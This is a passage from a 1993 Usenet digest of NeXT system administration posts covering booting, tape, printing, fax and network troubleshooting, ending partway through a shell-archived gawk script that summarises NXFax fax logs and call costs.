In fact, I cannot boot a system, period.
I don't have access to another NeXT and I don't have another device I can
boot off. Or rather, I have other devices: a second SCSI drive, diskette
drive, tape drive, CD drive, ethernet, but I don't have bootable images
for any of them. ("serves him right" I hear you mumble and you are
probably right)
Despite the manual saying "At this time, only a NeXT computer configured
with a a 660MB SCSI drive as a NetBoot server is supported" I tried putting
sdmach and boot on a NCR machine that runs bootpd and asked the ROM monitor
ben sdmach -bas
The bootpd receives and recognises zillions of requests (only from the
NeXT) and responds in kind. On the NeXT I get
Requesting BOOTP information.....XLXLXLXLXLXLXL etc.
It seems to be in an infinite loop, printing XL on the screen every now and
then. What does the XL mean?
I think I am barking up the wrong tree anyway. After all, I probably need
a couple of other executables, e.g. a shell that I might not get at on the
disk. Would a friend with a NeXT be able to create a bootable floppy (I
like to call them stiffies)? How? Obviously it does not need to be a
fully fledged system - just something I can use to try and recover/restore
my disk.
Any constructive advice would be greatly appreciated.
--
Riel Smit gds@cs.uct.ac.za
Computer Science gds%cs.uct.ac.za@rain.psg.com
University of Cape Town "We have been captured by the thieves in the night"
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: tabs@netcom.com (Network Account)
Subject: Solved: Booting 3.0 from a Fujitsu M2624F
Message-ID: <tabsC568s4.EEK@netcom.com>
Followup-To: comp.sys.next.sysadmin
Summary: Disabling synchronous transfer allowed Fujistsu M2624 to boot
Keywords: Synchrounous transfer, Fujitsu M2624, Booting problems, SCSI Error
Sender: tabs@netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Thu, 8 Apr 1993 15:38:27 GMT
Hi, I had reported a problem in booting from Fujistsu M2624 after
building it for NS3.0 That problem was solved by removing the
appropriate jumpers and disabling Synchrounous transfer.
I got the clue from an old document fujitsu.recipe by Izumi Ohzawa.
Rory Bolt was quoted in the document as offering this insight into
SCSI problems caused by synchronous transfer enabled on Fujitsu drives.
I also got messages that gave the same suggestions from
Paul Martin Trunz <trunz@inf.ethz.ch>
mheubi@pws3.itr.ch (Matthias Heubi)
Thanks to everone who responded
tabs@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: tabs@netcom.com (Network Account)
Subject: Solved: Problems with QIC tape drive - Archive Viper 150
Message-ID: <tabsC5696v.EtD@netcom.com>
Followup-To: comp.sys.next.sysadmin
Summary: Running a program to used fixed block sizes solved tape problems
Keywords: SCSI tape drive, QIC, Archive Viper 150, fixed block size
Sender: tabs@netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Thu, 8 Apr 1993 15:47:18 GMT
Hi,
We had a problem with a new Archive Viper 150, SCSI tape drive (QIC format).
We were getting tar: tape I/O erros, even after trying various device
drivers on the next, including rst0, nrst0 etc.
Our problem was solved by checking into archived postings of csn.sysadmin
group. There was an old posting giving a program fblock.c to set the
SCSI tape driver to a fixed block size.
After that the tape drive worked flawlessly!!
tabs@netcom.com
p.s. I am posting this to the net so that others can benifit from
our experience. I am setting the distribution to world, since most
of useful solutions for our previous problems originated from
outside of USA.
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: NeXTOS and PPD files!?!?!
Message-ID: <1993Apr8.112027.189@news.cs.indiana.edu>
Organization: Objectario
References: <C52wEI.KL3@dove.nist.gov>
Date: Thu, 8 Apr 1993 11:20:16 -0500
>The problem is that NeXTSTEP does NOT insert the
>code for paper tray selection unless I save the postscript to disk with the
>selection of "Postscript for Chosen Printer".
>
>Is there a way to PRINT with "Postscript for Chosen Printer"????
Disclaimer: I am going to answer this question based on my experience
with spooling to a remote QMS printer, and I assume the answer in
your case is related to the problems I had here. But I could be
wrong. QMS's use their own remote-spooling code rather than the
Unix lpd protocol, but I suspect this problem is related to
remote non-NeXT-hosted printers in general.
This is an annoying problem, but there is a workaround.
The problem is that the code for paper tray selection is inserted into
your document-to-be-printed as a PostScript comment, like this:
%%Feature: *InputSlot Envelope
and at some stage in the printing pipeline, this needs to be converted
to actual postscript code to implement the feature, like this:
%%BeginFeature: *InputSlot Envelope
3 statusdict /setpapertray get exec
%%EndFeature
When you print to a remote printer, it's assumed that the printing
software on the remote end will take care of converting comments to
code. Alas this doesn't always happen, especially when the remote
printer is a directly-networked printer. In our case we had a QMS1700
with Ethernet interface which wasn't doing the right conversion.
The workaround is to modify the printer defninition in NetInfo to run
an input filter over the PostScript code before sending it off to
the remote printer. You want a filter that converts the appropriate
comments to the appropriate code. It just so happens that
/NextLibrary/Services/PrintFilters.service/psprepare is such a filter.
It takes a "-Pprintername" option.
In our case, the QMS printer setup was already using a special input
filter called "qfilter" to spool jobs over the network to the printer -
i.e. there was an "if" property with value "/usr/local/lib/qfilter".
(in traditional printcap terminology, ":if=/usr/local/lib/qfilter:")
So, I created a trivial little shell script called NeXT_QMS_prefilter
that looked like this
#!/bin/sh
/NextLibrary/Services/PrintFilters.service/psprepare -PQMS |
/usr/local/lib/qfilter $*
and modified netinfo so the value of the "if" property for the printer
named "QMS" was "/usr/local/lib/NeXT_QMS_prefilter". that filter will
be run with the data to be printed on stdin, and it just runs
psprepare to change comments-to-code and hands everything off to QMS's
supplied qfilter program, which handles remote spooling.
If I was really doing this right I would parse the options that are passed to
the input filter, and figure out the printer name from there (the filter
is supplied "-p printername") so that I wouldn't have to embed "-PQMS"
in the script itself.
I am not sure what exactly you would need to do for the Tektronix
since you can spool to it directly (without needing this "qfilter"
hack.) Just make up a little script that runs "psprepare -PTextronix",
and its output will go to stdout, and it should be spooled to the printer
properly.
I understand that in 3.1 there is an easier fix for this but I don't
know what it is.
Good luck,
Steve Hayman
Trimark Investment Management, Toronto
shayman@trimark.com
P.S. I am indebted (indirectly) to Mike_Byron and Allan_Denison at NeXT
who explained this to me (indirectly, in a previous life :-)
From: M_Carling@BlueRose.com (M Carling)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Bad super-block...now what?
Message-ID: <1993Apr6.165750.9816@bluerose.com>
Date: 6 Apr 93 16:57:50 GMT
References: <1993Apr6.071515.7748@ncsa.uiuc.edu>
Sender: m@bluerose.com
Distribution: na
Organization: Blue Rose Systems, Inc.
In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu
(Kenneth Chang) writes:
> In the process of trying to upgrade from 2.1 to 3.0, I appear to have
> severely hosed the hard disk.
How many times do I have to post that 2.1 to 3.0 should be done using
BuildDisk.app rather than Upgrade.app?
M Carling
President, Bay Area NeXT Group
From: M_Carling@BlueRose.com (M Carling)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help needed setting up sendmail/smail & b/cnews
Message-ID: <1993Apr7.051752.1016@bluerose.com>
Date: 7 Apr 93 05:17:52 GMT
References: <C53332.5op@mentor.cc.purdue.edu>
Sender: m@bluerose.com
Distribution: na
Organization: Blue Rose Systems, Inc.
In article <C53332.5op@mentor.cc.purdue.edu> aru@sonata.cc.purdue.edu (Sri
Ramkrishna) writes:
> As for news, I've read that c-news is much better than b-news. Could
> anybody help in pointing me in the right direction here?
If you receive NeXTmail, I can send you BANG's Cnews.pkg, preconfigured
for NeXTSTEP. Otherwise we can sell you a floppy for several dollars.
M Carling
President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com
Subject: Re: fax Cover Sheet
Message-ID: <1993Apr8.173320.1069@afs.com>
Sender: Michael_Pizolato@afs.com
References: <1993Apr8.072212.26073@urz.unibas.ch>
Distribution: usa
Date: Thu, 8 Apr 1993 17:33:20 GMT
In article <1993Apr8.072212.26073@urz.unibas.ch> writes:
> In article <1993Apr7.141121.1678@afs.com> writes:
> > In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel)
> > writes:
> > > I am trying to modify the Cover sheet for faxes. I would like to know if
> > > there is any documentation. I know how to basic things but I would like
> > > to create a new form so that the phone number of the person I am calling
> > > is automatically put on the cover sheet.
> > >
> > > Is this possible? If so how? Also I would like to format the date into
> > > a more standard format. Is this possible?
> >
> > I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into
> > ~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it
> > appears as one of the cover letter choices when you press Edit from the
> > Fax panel. In fact, since I only have one file in that directory, it
> > comes up as the default choice.
> >
> > Note that you can't put it in ~/Library/Fax/English.lproj because it
> > won't come up as a choice as above. At least that's true on my system;
> > I'm running NS3.0. Also, I don't recommend changing the original
> > /NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have
> > a sysadmin's healthy fear of touching anything from the vendor.
> > Override it with a local copy, yes, but don't change the original.
> >
> > Hope this helps,
> > Michael
> >
> > --
> > Michael_Pizolato@afs.com If you can't control your peanut
> > ~18 kyu butter, how can you e
xpect to
> > Q16 control the rest of your life?
> > NeXTMail appreciated - Calvin
>
> All nice suggestions, unless you are a systemmanger and responsible for a
> system wide, unified fax cover. In this case I WILL (copy and then) edit
> directly in the system directories.
Well, you shouted first... :-)
DON'T DO THAT! Simply create /LocalLibrary/Fax and put your
modified copy there. If /LocalLibrary is shared among all machines
(as it will be at any well-managed site) your central copy will
appear in everyone's popup when they press Edit in the Fax panel.
There's always a way to avoid modifying files in the system
directories, and it's almost never painful.
-m
--
Michael_Pizolato@afs.com If you can't control your peanut
~18 kyu butter, how can you expect to
Q16 control the rest of your life?
NeXTMail appreciated - Calvin
Newsgroups: comp.sys.next.sysadmin
From: wagner!beckers (Becki Kain)
Subject: network troubles
Message-ID: <1993Apr7.130504.181@imagine.com>
Sender: beckers@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Wed, 7 Apr 1993 13:05:04 GMT
hello all:
we have about 14 nexts and two decs on a straightline thin-net which is
flaking out lately. this is the error that shows up on our server when
the net goes down:
Apr 6 18:31:32 wagner mach: spurious DMA interrupt: state 0x1000000
channel 0x2000110
Apr 6 18:31:32 wagner mach: The network is disabled or your computer
isn't connected to it.
Apr 6 18:31:36 wagner mach: nfs_server: bad sendreply from 192.42.172.10
does anyone know what the dma error is? the net seems fine when only a
few of the mahcines are turned on/and few users on.
thanks
beckers
--
Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com
"oh boy oh boy oh boy" bauhaus nextmail welcome
Newsgroups: comp.sys.next.sysadmin
From: Mike_Matlack@afs.com
Subject: Problems extracting from Sun floppy with tar
Message-ID: <1993Apr8.175308.1145@afs.com>
Sender: Mike_Matlack@afs.com
Date: Thu, 8 Apr 1993 17:53:08 GMT
How can I extract a tar file off a floppy that was formatted on a Sun. The
person who sent me the disk formatted the floppy on the sun and then
tar'd the file directly to the disk (tar cvf /dev/fd0). When I try to
tar the file, I get the ever informative "tar tape read error: io
error".
Thanks,
Mike
---
Michael J. Matlack
Anderson Financial Systems
Mike_Matlack@afs.com (NeXTmail OK)
From: rmyers@dec5200.acs.uci.edu (Richard Myers)
Subject: cancel <2BC0A285.15650@news.service.uci.edu>
Message-ID: <2BC48721.1914@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Control: cancel <2BC0A285.15650@news.service.uci.edu>
Organization: University of California, Irvine
Date: 8 Apr 93 20:12:17 GMT
References: <2BC0A285.15650@news.service.uci.edu>
<2BC0A285.15650@news.service.uci.edu> was cancelled from within trn.
Newsgroups: comp.sys.next.sysadmin
From: ast@avalon.physik.unizh.ch (Adrian Steinmann)
Subject: NXFax logfile summary
Message-ID: <1993Apr8.212118.20237@ifi.unizh.ch>
Summary: Report on Fax Usage
Keywords: NXFax logfile fax usage
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: Informatik Club Uni Zurich
Date: Thu, 8 Apr 1993 21:21:18 GMT
Are you running NXFax 1.02 or 1.03 ?
Then surely you'd like a report like this from time to time:
-------!!------------!!-------------!!-------------!!------------!!-------
NXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17
SEND FAX
Date Time Number pgs res kbps xmt conn errors
23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors.
23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors.
1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors.
6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors.
11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors.
19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors.
25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors.
27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors.
Cost summary connect cost
International calls: 0:08:33 ~ 7.37 DM
calls within Germany: 0:00:00 ~ 0.00 DM
Total cost: 7.37 DM
Total transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page
RECEIVE FAX
Date Time Number pgs res kbps xmt errors
16 Jan 09:28:36 1 hi 9.6 02:47 No errors.
17 Feb 08:39:57 2 hi 4.8 02:51 No errors.
19 Feb 17:09:12 1 hi 9.6 00:33 No errors.
19 Feb 17:20:47 1 hi 9.6 00:38 No errors.
26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors.
Total transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page
-------!!------------!!-------------!!-------------!!------------!!-------
Well, if you would, just cut here and unpack using /bin/sh.
------>c ------------>c ------------>c ------------>c------------>c-------
#! /bin/sh
# This is a shell archive, meaning:
# 1. Remove everything above the #! /bin/sh line.
# 2. Save the resulting text in a file.
# 3. Execute the file with /bin/sh (not csh) to create the files:
# nxfaxsummary
# This archive created: Thu Apr 8 22:48:07 1993
# By: Adrian Steinmann <ast@lia.di.epfl.ch>
export PATH; PATH=/bin:$PATH
if test ! -d 'nxfaxsummary'
then
echo shar: creating directory "'nxfaxsummary'"
mkdir 'nxfaxsummary'
fi
echo shar: entering directory "'nxfaxsummary'"
cd 'nxfaxsummary'
echo shar: extracting "'nxfaxsummary.sh'" '(15539 characters)'
if test -f 'nxfaxsummary.sh'
then
echo shar: will not over-write existing file "'nxfaxsummary.sh'"
else
sed 's/^X//' << \NeXT! > 'nxfaxsummary.sh'
X#!/bin/sh -
X#
X# NXFax accounting 1.0 - a gawk script to summarize NXFax usage
X# by Andreas Mueller [afm@mathi.uni-heidelberg.de] and
X# Adrian Steinmann [ast@lia.di.epfl.ch]
X#
X#
XPATH=/bin:/usr/bin:/usr/ucb:/etc:/usr/etc
XIFS='
X'
Xexport PATH IFS
X#
XTRIMDAYS=30 # how many days to wait between trimming
XKEEPLINES=200 # how many lines to inherit when trimming
X#
X# define LOGFILE here, possibly override later
X#
X# NXFax 1.03 uses /usr/adm/nxfax/nxfaxlog
XNXFAXDIR=/usr/adm/nxfax
Xif [ ! -d ${NXFAXDIR} ]
Xthen
X # NXFax 1.02 uses /etc/nxfax/nxfaxlog
X NXFAXDIR=/etc/nxfax
X if [ ! -d ${NXFAXDIR} ]
X then
X echo "Fatal error: Cannot find NXFax log file directory" >&2
X usage
X fi
Xfi
X#
XLOGFILE=${NXFAXDIR}/nxfaxlog
X#
X# OLOGFILE is where we put the log file when we trim
X#
XOLOGFILE="${LOGFILE}.old"
X#
X# COSTFILE, usually in same directory as logfile, possibly override below
X#
X: ${COSTFILE:=${NXFAXDIR}/nxfax.cost}
X#
X# we use GNU awk for builtin and custom functions
X#
XGAWK=/usr/local/bin/gawk
X#
X# this is what we say as a heading and subject line in case of mail (-m option)
X#
XWELCOME="NXFax Accounting @ `hostname`"
X#
X# CMD may be changed to "Mail -s '${WELCOME}' $recipients" below (-m option)
X#
XCMD=cat
X#
Xexport CMD WELCOME GAWK COSTFILE LOGFILE OLOGFILE NXFAXDIR KEEPLINES TRIMDAYS
X#
X# temporary files are cleanup up on exit or trap
X#
XTMPFHED=/tmp/faxhed$$
XTMPFSND=/tmp/faxsnd$$
XTMPFCST=/tmp/faxcst$$
XTMPFPAR=/tmp/faxcst$$
XTMPFRCV=/tmp/faxrcv$$
XTMPFSUM=/tmp/faxsum$$
X#
Xexport TMPFHED TMPFSND TMPFCST TMPFPAR TMPFRCV TMPFSUM
X#
Xumask 077
X#
Xhelp ()
X{
Xecho
Xcat<<!!
XThis shell script uses GNU-awk '$GAWK' to
Xparse log files generated by NXFax versions 1.02 and 1.03. By
Xdefault, the script will search for a NXFax log file in the
Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". It will
Xalso look for a file called "nxfax.cost" in that directory
Xdescribing the calling costs for various times and phone
Xprefixes. For an example cost description file, invoke this
Xscript with the option "-sample". If the cost description file
Xis missing, a simple grand total summary is calculated.
XAlternate cost description or NXFax log files can be specified
Xvia the -c and -l options respectively. With the option -m
X<address_list>, the summary is sent to the recipients
Xspecified in address_list.
X!!
Xecho
Xusage
X}
X#
Xusage ()
X{
X echo "Usage: $0 [ -help | -sample ]" >&2
X echo " $0 [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]" >&2
X exit 1
X}
X#
Xcleanup ()
X{
X rm -f ${TMPFHED} ${TMPFSND} ${TMPFPAR} ${TMPFCST} ${TMPFRCV} ${TMPFSUM}
X}
X#
X# note that NXFax 1.02 and 1.03 trims itself to 1000 lines at startup time
X#
Xtrimlog ()
X{
Xif [ -f ${OLOGFILE} ]
Xthen
X (find ${OLOGFILE} -mtime +${TRIMDAYS} -print |
X grep ${OLOGFILE} ) > /dev/null 2>&1
X if [ $? -eq 0 ]
X then
X ( cp -p ${LOGFILE} ${OLOGFILE} &&
X tail -${KEEPLINES} ${LOGFILE}.old > ${LOGFILE} &&
X echo "${LOGFILE} rotated to ${OLOGFILE}, ${KEEPLINES} lines kept"
X ) 2> /dev/null
X fi
Xelse
X # if the old file doesn't exist, create it today so that
X # trimlog() will begin to rotate after ${TRIMDAYS}
X touch ${OLOGFILE}
Xfi
X}
X#
Xsample ()
X{
Xcat<<!!
X# Sample cost desciption file: '${NXFAXDIR}/nxfax.cost'
X#
X# This file is used by the nxfaxsummary shell script to compute the
X# approximate costs of outgoing fax traffic. Its precision depends
X# highly on the amount of detail given in this file.
X#
X# FORMAT DESCRIPTION - there are three types of lines:
X#
X# $<currency-string>
X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments>
X# +<prefix>:<comments>
X#
X# The '$' line defines a currency string to be used in the summary.
X# Lines beginning with ':' define cost computation parameters.
X# Lines beginning with '+' are called summary lines and are used
X# to indicate how costs should be summarized by nxfaxsummary.sh
X#
X# The script scans the called phone number and uses the parameters
X# associated with the first matching <prefix> to compute the costs
X# for such a call. If t is the connect time in seconds, then the
X# cost is computed according to the formula
X#
X# cost = connect-cost + (t/unit-time)*unit-cost
X#
X# connect-cost is the minimum fee per connection (0 in most situations)
X# this can be used to account for connect time measured
X# by NXFax which is usually shorter than the effective
X# duration of a call including initial handshake time;
X# unit-time is the duration (in seconds) of a time unit;
X# unit-cost is the price of one such unit-time.
X#
X# In the final summary, these computations are cumulatively grouped
X# according to the prefixes in the summary lines (the '+' lines).
X#
X# Empty lines and lines beginning with a '#' are ignored.
X#
X# EXAMPLE COST DESCRIPTION (for Germany)
X\$DM
X:0041:0:12:0.23:Calls to Switzerland
X:00:0:12:0.23:Other international calls
X+00:International calls:
X:0:0:60:0.23:Long distance calls within Germany (Regionalzone)
X::0:360:0.23:Local calls
X+:Calls within Germany:
X#
X# The cost description file should always include a line beginning
X# with an empty prefix string, this is used as the default for phone
X# numbers that don't match any other prefix. The same is true for
X# summary lines. Note that the comments of the summary lines are
X# used as line item titles, hence they are often ended with a ':'.
X#
X# In other words, a minimum cost file may consist of just three lines:
X#
X# \$\$
X# ::0:3600:1.20:Detailed cost description
X# +:Detailed summary description:
X#
X# If no cost description file is found nor specified, then a simple total
X# transmit time and average per page is output.
X#
X# Most phone companies charge differently during and after business hours
X# - use the parameters that are likely to be valid when *you* send faxes.
X#
X# To be done: - differentiate between rates during different time periods
X#
X!!
Xexit 0
X}
X#
Xtrap 'cleanup; exit 9' 2 3 15
X#
X# parse options - default is output to stdout (use -m option to mail)
X#
Xdorecipients=0
Xdocost=0
Xdolog=0
Xwhile [ $# -gt 0 ]
Xdo
X while [ $dorecipients -ge 1 -a $# -gt 0 ]
X do
X dorecipients=2
X case x$1 in
X x-*)
X break
X ;;
X *)
X recipients="$recipients $1"
X CMD="Mail -s '${WELCOME}' $recipients"
X shift
X ;;
X esac
X done
X if [ $dorecipients -eq 2 -a `echo $recipients | wc -w` -eq 0 ]
X then
X echo "Fatal error: -m option lacks at least one addressee" >&2
X usage
X else
X dorecipients=0
X fi
X if [ $docost -eq 1 -o $dolog -eq 1 ]
X then
X if [ $# -gt 0 ]
X then
X if [ ! -r $1 ]
X then echo "Fatal error: file '$1' unreadable" >&2
X usage
X else
X if [ $dolog -eq 1 ]
X then
X LOGFILE=$1
X dolog=2
X else
X COSTFILE=$1
X docost=2
X fi
X fi
X shift
X else
X echo "Fatal error: option lacks an argument" >&2
X usage
X fi
X fi
X case x$1 in
X x-m)
X shift
X if [ $dorecipients -ne 0 -o $# -lt 1 ]; then usage; fi
X dorecipients=1
X ;;
X x-c)
X if [ $docost -ne 0 ]; then usage; fi
X shift; docost=1
X ;;
X x-l)
X if [ $dolog -ne 0 ]; then usage; fi
X shift; dolog=1
X ;;
X x-h*)
X help
X ;;
X x-s*)
X sample
X ;;
X x-*)
X usage
X ;;
X *)
X dolog=1
X ;;
X esac
Xdone
X#
Xif [ ! -r $LOGFILE ]
Xthen
X echo "Fatal error: Log file '${LOGFILE}' unreadable" >&2
X usage
Xfi
XOLOGFILE="${LOGFILE}.old"
X#
X# Finally do some real work: find first and last date in logfile
X#
X( echo -n "\n${WELCOME} "
X ${GAWK} '
X BEGIN { found=1; }
X $3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \
X { date=sprintf("%2d %s %d %s",$5,$4,$7,$6);
X if (found) { printf("from %s ",date)
X found=0 }
X }
X END { printf("to %s\n",date); }' ${LOGFILE}
X) > ${TMPFHED} 2>&1
X#
X# now search logfile for faxes sent, collect information in ${TMPFSND}
X#
X${GAWK} \
X 'function resetvars() { connected=false; call=false
X speed="?"; res="?"; errors="?"; number="?"
X ctime="?"; ttime="?"; pages=0
X date=" ? ? ? "; calldate=date
X }
X function printsummary() { printf("%16s %-20s %3s %2s %4s %5s %5s %s\n",
X calldate,number,pages,substr(res,1,2),
X speed,
X ttime,ctime,errors)
X }
X
XBEGIN { true=1; false=0; resetvars() }
X$3 ~ /(Sun)|(Mon)|(Tue)|(Wed)|(Thu)|(Fri)|(Sat)/ \
X { date=sprintf("%2d %s %s",$5,$4,$6) }
X# Note that NXFax 1.03 frequently contains the line
X# "%> NXFax: caller id or silent answer forces rings to 3"
X$3 ~ /call/ { if ($4 !~ /complete/ && $8 !~ /forces/ ) {
X call=true; number=substr($0,15,20)
X }
X }
X$3 ~ /line/ { if ($4 ~ /busy/) { calldate=date } }
X$3 ~ /Connected/ { if (call==true) { connected=true; calldate=date } }
X$4 ~ /resolution/ { res=$3 }
X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) }
X$3 ~ /page/ { pages=$4 }
X$3 ~ /hangup/ { if ( substr($3, 8, 1) == "0" )
X { errors=$4" "$5 }
X else
X { errors="Hangup ERROR" }
X }
X/connect time/ { ctime=$5 }
X/transmit time/ { ttime=$5
X if (connected) {
X printsummary()
X }
X resetvars()
X }
X$4 ~ /halt|busy/ { if (call) {
X printsummary()
X resetvars()
X }
X }
X/no carrier/ { if (call) {
X calldate=date; errors="no carrier"
X printsummary()
X resetvars()
X }
X }
X
X' ${LOGFILE} > ${TMPFSND} 2>&1
X#
X#
X# use the information collected in the previous step to get a
X# more accurate cost computation:
X#
Xif [ ! -r $COSTFILE ]
Xthen
X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,19,20) }' \
X ${TMPFSND} | ${GAWK} '
X BEGIN { transmit=0; pages=0; }
X $1 !~ /\?/ { pages+=$2; split($1,ttime,":")
X transmit+=60*ttime[1]+ttime[2] }
X
X END {
X time_h=int(transmit/3600); time_s=transmit-3600*time_h;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X time_h,time_s/60,time_s%60,pages)
X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages)
X printf("\n")
X }
X ' > ${TMPFCST} 2>&1
Xelse
X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,60,5)\
X " "substr($0,19,20) }' ${TMPFSND} \
X | ${GAWK} -v costparamfile=${COSTFILE} '
X BEGIN { # initialize parameter arrays
X "sed -n -e s/\\^\\\\$//p "costparamfile | getline currency
X close("sed -n -e s/\\^\\\\$//p "costparamfile)
X FS=":"; counter=0;
X while ("sed -n -e s/\\^://p "costparamfile | getline ) {
X counter++
X costp[counter,"prefix"]=$1
X costp[counter,"connect"]=$2
X costp[counter,"tunit"]=$3
X costp[counter,"unitc"]=$4
X }
X close("sed -n -e s/\\^://p "costparamfile)
X max=counter
X s=0
X while ("sed -n -e s/\\^\\+//p "costparamfile | getline) {
X s++
X summa[s,"prefix"]=$1
X summa[s,"comment"]=$2
X for (i=3; i<=NF; i++)
X summa[s,"comment"]=summa[s,"comment"]":"$i
X }
X summax=s; FS=" "
X transmit=0; pages=0;
X }
X
X $2 !~ /\?/ { pages+=$2; split($1,ttime,":")
X transmit+=60*ttime[1]+ttime[2] }
X $4 !~ /\?/ {# on every line where you have number and connect time,
X # do the following
X if ( $3 !~ /\?/ ) {
X split($3,timing,":"); time=60*timing[1]+timing[2];
X counter=1; found=0;
X while (counter<=max && !found) {
X if ( index($4,costp[counter,"prefix"])==1 ) {
X found=1
X cost[counter,"time"]+=time
X cost[counter,"cost"]+=(costp[counter,"connect"]+ \
X time*costp[counter,"unitc"]/costp[counter,"tunit"])
X } else if ( length(costp[counter,"prefix"])==0 ) {
X cost[counter,"time"]+=time
X cost[counter,"cost"]+=(costp[counter,"connect"]+ \
X time*costp[counter,"unitc"]/costp[counter,"tunit"])
X }
X counter++
X }
X }
X }
X
X END {
X for (counter=1; counter<=max; counter++) {
X s=1; found=0;
X while (s<=summax && !found) {
X if ( index(costp[counter,"prefix"],summa[s,"prefix"])==1 ) {
X found=1
X summa[s,"time"]+=cost[counter,"time"]
X summa[s,"cost"]+=cost[counter,"cost"]
X } else if ( length(summa[s,"prefix"])==0 ) {
X found=1
X summa[s,"time"]+=cost[counter,"time"]
X summa[s,"cost"]+=cost[counter,"cost"]
X }
X s++
X }
X }
X
X # output collected information
X for (s=1; s<=summax; s++) {
X time_h=int(summa[s,"time"]/3600);
X time_s=summa[s,"time"]-3600*time_h;
X printf("%-45s\t%2d:%02d:%02d ~%7.2f %s\n", \
X summa[s,"comment"],time_h,time_s/60,time_s%60, \
X summa[s,"cost"],currency)
X totalcost+=summa[s,"cost"]
X }
X printf("%-45s\t\t %8.2f %s\n","Total cost:", totalcost, \
X currency)
X time_h=int(transmit/3600); time_s=transmit-3600*time_h;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X time_h,time_s/60,time_s%60,pages)
X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages)
X printf("\n")
X }
X ' > ${TMPFCST} 2>&1
X
Xfi
X#
X# now search logfile for faxes received, collect information in ${TMPFRCV}
X#
X${GAWK} '
Xfunction resetvars () { connected=false; call=false;
X speed="?"; res="?"; errors="?"; number="?"
X ctime="?"; ttime="?"; pages=0;
X calldate=" ? ? ? "
X }
XBEGIN { true=1; false=0; resetvars(); t_ttime=0 }
X$3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \
X { date=sprintf("%2d %s %s",$5,$4,$6) }
X# this might be special to NXFax 1.02
X/%> NXFax: incoming call/ { call=true; calldate=date }
X/%> NXFax: fax call/ { if (call) connected=true }
X# this might be special to NXFax 1.03
X/%> NXFax: from/ { if (connected) {
X calldate=date
X number=substr($0,15,20) }
X }
X$4 ~ /halt/ { connected=false; call=false }
X$4 ~ /resolution/ { res=$3 }
X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) }
X$3 ~ /page/ { pages=$4 }
X$3 ~ /hangup/ { if ( substr($3, 8, 1) == 0 )
X { errors=$4" "$5 }
X else
X { errors="Hangup ERROR" }
X }
X/transmit time/ { ttime=$5
X if (connected) {
X if (number=="call") { number="?" }
X printf("%16s %-20s %3s %2s %s %5s %s\n",
X calldate,number,pages,substr(res,1,2),
X speed,ttime,errors)
X split(ttime,ttimecomp,":")
X t_ttime+=ttimecomp[1]*60+ttimecomp[2]
X t_pages+=pages
X }
X resetvars()
X }
X# this can happen on an error like
X# %> NXFax: hangup[70]: Unspecified receive Phase B error.
X/call complete/ { if (connected) {
X printf("%16s %-20s %3s %2s %s %5s %s\n",
X calldate,number,pages,substr(res,1,2),
X speed,ttime,errors)
X split(ttime,ttimecomp,":")
X t_ttime+=ttimecomp[1]*60+ttimecomp[2]
X t_pages+=pages
X }
X resetvars()
X }
XEND {
X t_th=int(t_ttime/3600); t_ttime-=3600*t_th;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X t_th,t_ttime/60,t_ttime%60,t_pages);
X if ( t_pages != 0) { printf("\t~ %8.2f sec/page\n",t_ttime/t_pages) }
X printf("\n")
X }' ${LOGFILE} > ${TMPFRCV} 2>&1
X#
X# Concatenate collected data
X#
X(
X cat ${TMPFHED}
X if [ `wc -l ${TMPFSND} | awk -e '{print $1}'` -gt 0 ]
X then
X echo "\n SEND FAX\n"
X echo "Date Time Number pgs res kbps xmt conn errors\n"
X cat ${TMPFSND}
X if [ -r $COSTFILE ]
X then
X if [ `wc -l ${TMPFCST} | awk -e '{print $1}'` -gt 0 ]
X then
X echo "\nCost summary\t\t\t\t\t connect cost"
X cat ${TMPFCST}
X fi
X else
X cat ${TMPFCST}
X fi
X fi
